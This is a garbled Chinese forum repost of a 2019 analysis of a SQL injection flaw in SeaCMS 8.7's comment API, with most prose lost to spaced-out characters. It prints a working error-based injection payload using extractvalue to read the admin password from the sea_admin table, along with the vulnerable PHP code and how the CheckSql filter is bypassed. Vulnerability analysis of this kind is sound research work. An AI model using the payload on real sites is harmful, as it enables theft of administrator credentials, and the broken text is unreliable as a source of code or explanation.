[19468] 2019-04-02_技能提升丨Seacms8.7版本SQL注入分析

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2019-04-02_技能提升丨Seacms8.7版本SQL注入分析 S e a c m s   8 . 7 S Q L i   2 0 1 9 - 0 4 - 0 2 S Q L S Q L W e b S Q L S e a c m s   8 . 7 S Q L 0 x 0 1 W e b p h p s t u d y   a n d   M A M P S y s t e m W i n d o w s   7   X 6 4   a n d   M a c O S B r o w s e r F i r e f o x   Q u a n t u m   a n d   C h r o m e M y S Q L 5 . 5 p h p 5 . 4 0 x 0 2 0 1 p a y l o a d h t t p : / / 1 0 . 2 1 1 . 5 5 . 4 / u p l o a d / c o m m e n t / a p i / i n d e x . p h p ? g i d = 1 & p a g e = 2 & r l i s t [ ] = @ ` % 2 7 ` , % 2 0 e x t r a c t v a l u e ( 1 , % 2 0 c o n c a t _ w s ( 0 x 2 0 , % 2 0 0 x 5 c , ( s e l e c t % 2 0 ( p a s s w o r d ) f r o m % 2 0 s e a _
0 2 M y S Q L   5 . 6 5 . 7 e x t r a c t v a l u e (   ) u p d a t e x m l (   ) L i n u x W i n d o w s m a c O S P H P A p a c h e M y S Q L c o m m e n t / a p i / i n d e x . p h p < ? p h p s e s s i o n _ s t a r t ( ) ; r e q u i r e _ o n c e ( " . . / . . / i n c l u d e / c o m m o n . p h p " ) ; $ i d   =   ( i s s e t ( $ g i d )   & &   i s _ n u m e r i c ( $ g i d ) )   ?   $ g i d   :   0 ; $ p a g e   =   ( i s s e t ( $ p a g e )   & &   i s _ n u m e r i c ( $ p a g e ) )   ?   $ p a g e   :   1 ; $ t y p e   =   ( i s s e t ( $ t y p e )   & &   i s _ n u m e r i c ( $ t y p e ) )   ?   $ t y p e   :   1 ; $ p C o u n t   =   0 ; $ j s o n c a c h e f i l e   =   s e a _ D A T A . " / c a c h e / r e v i e w / $ t y p e / $ i d . j s " ; / / i f ( $ p a g e < 2 ) {                 i f ( f i l e _ e x i s t s ( $ j s o n c a c h e f i l e ) )                 {                                 $ j s o n = L o a d F i l e ( $ j s o n c a c h e f i l e ) ;                                 d i e ( $ j s o n ) ;                 } } $ h   =   R e a d D a t a ( $ i d , $ p a g e ) ; $ r l i s t   =   a r r a y ( ) ;
i f ( $ p a g e < 2 ) {                 c r e a t e T e x t F i l e ( $ h , $ j s o n c a c h e f i l e ) ; } d i e ( $ h ) ;                 f u n c t i o n   R e a d D a t a ( $ i d , $ p a g e ) {                 g l o b a l   $ t y p e , $ p C o u n t , $ r l i s t ;                 $ r e t   =   a r r a y ( " " , " " , $ p a g e , 0 , 1 0 , $ t y p e , $ i d ) ;                 i f ( $ i d > 0 )                 {                                 $ r e t [ 0 ]   =   R e a d m l i s t ( $ i d , $ p a g e , $ r e t [ 4 ] ) ;                                 $ r e t [ 3 ]   =   $ p C o u n t ;                                 $ x   =   i m p l o d e ( ' , ' , $ r l i s t ) ;                                 i f ( ! e m p t y ( $ x ) )                                 {                                 $ r e t [ 1 ]   =   R e a d r l i s t ( $ x , 1 , 1 0 0 0 0 ) ;                                 }                 }                                 $ r e a d D a t a   =   F o r m a t J s o n ( $ r e t ) ;                 r e t u r n   $ r e a d D a t a ; } f u n c t i o n   R e a d m l i s t ( $ i d , $ p a g e , $ s i z e ) {                 g l o b a l   $ d s q l , $ t y p e , $ p C o u n t , $ r l i s t ;                 $ m l = a r r a y ( ) ;                 i f ( $ i d > 0 )                 {                                 $ s q l C o u n t   =   " S E L E C T   c o u n t ( * )   a s   d d   F R O M   s e a _ c o m m e n t   W H E R E   m _ t y p e = $ t y p e   A N D   v _ i d = $ i d   O R D E R   B Y   i d   D E S C "                                 $ r s   =   $ d s q l   - > G e t O n e ( $ s q l C o u n t ) ;                                 $ p C o u n t   =   c e i l ( $ r s [ ' d d ' ] / $ s i z e ) ;                                 $ s q l   =   " S E L E C T   i d , u i d , u s e r n a m e , d t i m e , r e p l y , m s g , a g r e e , a n t i , p i c , v o t e , i s c h e c k   F R O M   s e a _ c o m m e n t   W H E R E   m _ t y p e = $ t y p e   A N D   v _ i d = $ i d   O R D E R   B Y   i d   D E S C   l i m i t   "                                 $ d s q l - > s e t Q u e r y ( $ s q l ) ;                                 $ d s q l - > E x e c u t e ( ' c o m m e n t m l i s t ' ) ;                                 w h i l e ( $ r o w = $ d s q l - > G e t A r r a y ( ' c o m m e n t m l i s t ' ) )                                 {                                                 $ r o w [ ' r e p l y ' ] . = R e a d R e p l y I D ( $ i d , $ r o w [ ' r e p l y ' ] , $ r l i s t ) ;
$ r l i s t S Q L R e a d D a t a i m p l o d e R e a d r l i s t S Q L                                                 $ r o w [ ' r e p l y ' ] . = R e a d R e p l y I D ( $ i d , $ r o w [ ' r e p l y ' ] , $ r l i s t ) ;                                                 $ m l [ ] = " { " c m i d " : " . $ r o w [ ' i d ' ] . " , " u i d " : " . $ r o w [ ' u i d ' ] . " , " t m p " : " " , " n i c k " : " " .                                 }                 }                 $ r e a d m l i s t = j o i n ( $ m l , " , " ) ;                 r e t u r n   $ r e a d m l i s t ; } f u n c t i o n   R e a d r l i s t ( $ i d s , $ p a g e , $ s i z e ) {                 g l o b a l   $ d s q l , $ t y p e ;                 $ r l = a r r a y ( ) ;                 $ s q l   =   " S E L E C T   i d , u i d , u s e r n a m e , d t i m e , r e p l y , m s g , a g r e e , a n t i , p i c , v o t e , i s c h e c k   F R O M   s e a _ c o m m e n t   W H E R E   m _ t y p e = $ t y p e   A N D   i d   i n   ( $ i d s )   O R D E R   B Y   i d   D E S C "                 $ d s q l - > s e t Q u e r y ( $ s q l ) ;                 $ d s q l - > E x e c u t e ( ' c o m m e n t r l i s t ' ) ;                 w h i l e ( $ r o w = $ d s q l - > G e t A r r a y ( ' c o m m e n t r l i s t ' ) )                 {                                 $ r l [ ] = " " " . $ r o w [ ' i d ' ] . " " : { " u i d " : " . $ r o w [ ' u i d ' ] . " , " t m p " : " " , " n i c k " : " " . $ r o w [ ' u s e r n a m e '                 }                 $ r e a d r l i s t = j o i n ( $ r l , " , " ) ;                 r e t u r n   $ r e a d r l i s t ; } @ ` ' ` ,   e x t r a c t v a l u e ( 1 ,   c o n c a t _ w s ( 0 x 2 0 ,   0 x 5 c , ( s e l e c t   ( p a s s w o r d ) f r o m   s e a _ a d m i n ) ) ) , @ ` ' `
$ d s q l - > E x e c u t e ( ' c o m m e n t r l i s t ' ) S Q L i n c l u d e / s q l . c l a s s . p h p C h e c k S q l
/ / S Q L                 w h i l e   ( t r u e )                 {                                 $ p o s   =   s t r p o s ( $ d b _ s t r i n g ,   ' ' ' ,   $ p o s   +   1 ) ;                                 i f   ( $ p o s   = = =   f a l s e )                                 {                                                 b r e a k ;                                 }                                 $ c l e a n   . =   s u b s t r ( $ d b _ s t r i n g ,   $ o l d _ p o s ,   $ p o s   -   $ o l d _ p o s ) ;                                 w h i l e   ( t r u e )                                 {                                                 $ p o s 1   =   s t r p o s ( $ d b _ s t r i n g ,   ' ' ' ,   $ p o s   +   1 ) ;                                                 $ p o s 2   =   s t r p o s ( $ d b _ s t r i n g ,   ' ' ,   $ p o s   +   1 ) ;                                                 i f   ( $ p o s 1   = = =   f a l s e )                                                 {                                                                 b r e a k ;                                                 }                                                 e l s e i f   ( $ p o s 2   = =   f a l s e   | |   $ p o s 2   >   $ p o s 1 )                                                 {                                                                 $ p o s   =   $ p o s 1 ;                                                                 b r e a k ;                                                 }                                                 $ p o s   =   $ p o s 2   +   1 ;                                 }                                 $ c l e a n   . =   ' $ s $ ' ;                                 $ o l d _ p o s   =   $ p o s   +   1 ;                 }                 $ c l e a n   . =   s u b s t r ( $ d b _ s t r i n g ,   $ o l d _ p o s ) ;                 $ c l e a n   =   t r i m ( s t r t o l o w e r ( p r e g _ r e p l a c e ( a r r a y ( ' ~ s + ~ s '   ) ,   a r r a y ( '   ' ) ,   $ c l e a n ) ) ) ;
$ c l e a n S Q L
% 2 7 r e q u i r e _ o n c e ( " . . / . . / i n c l u d e / c o m m o n . p h p " ) , _ R u n M a g i c Q u o t e s P H P g e t _ m a g i c _ q u o t e s _ g p c a d d s l a s h e s   '   ( ) ,   " ( ) ,     ( 线 )   a n d   线 S Q L C h e c k S q l S E L E C T   i d , u i d , u s e r n a m e , d t i m e , r e p l y , m s g , a g r e e , a n t i , p i c , v o t e , i s c h e c k   F R O M   s e a _ c o m m e n t   W H E R E   m _ t y p e = 1   A N D   i d  
` ` @ ? i n M y S Q L v a l u e 1 ' ' ' M y S Q L 使 使 使 @ 使 6 . 5 3 i n c l u d e / c o m m o n . p h p 4 4 - 4 7 7 5 f u n c t i o n   _ R u n M a g i c Q u o t e s ( & $ s v a r ) {                 i f ( ! g e t _ m a g i c _ q u o t e s _ g p c ( ) )                 {                                 i f (   i s _ a r r a y ( $ s v a r )   )                                 {                                                 f o r e a c h ( $ s v a r   a s   $ _ k   = >   $ _ v )   $ s v a r [ $ _ k ]   =   _ R u n M a g i c Q u o t e s ( $ _ v ) ;                                 }                                 e l s e                                 {                                                 $ s v a r   =   a d d s l a s h e s ( $ s v a r ) ;                                 }                 }                 r e t u r n   $ s v a r ; } f o r e a c h ( A r r a y ( ' _ G E T ' , ' _ P O S T ' , ' _ C O O K I E ' )   a s   $ _ r e q u e s t ) {                 f o r e a c h ( $ $ _ r e q u e s t   a s   $ _ k   = >   $ _ v )   $ { $ _ k }   =   _ R u n M a g i c Q u o t e s ( $ _ v ) ; } r e q u i r e _ o n c e ( s e a _ D A T A . " / c o n f i g . c a c h e . i n c . p h p " ) ;
i i 沿
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则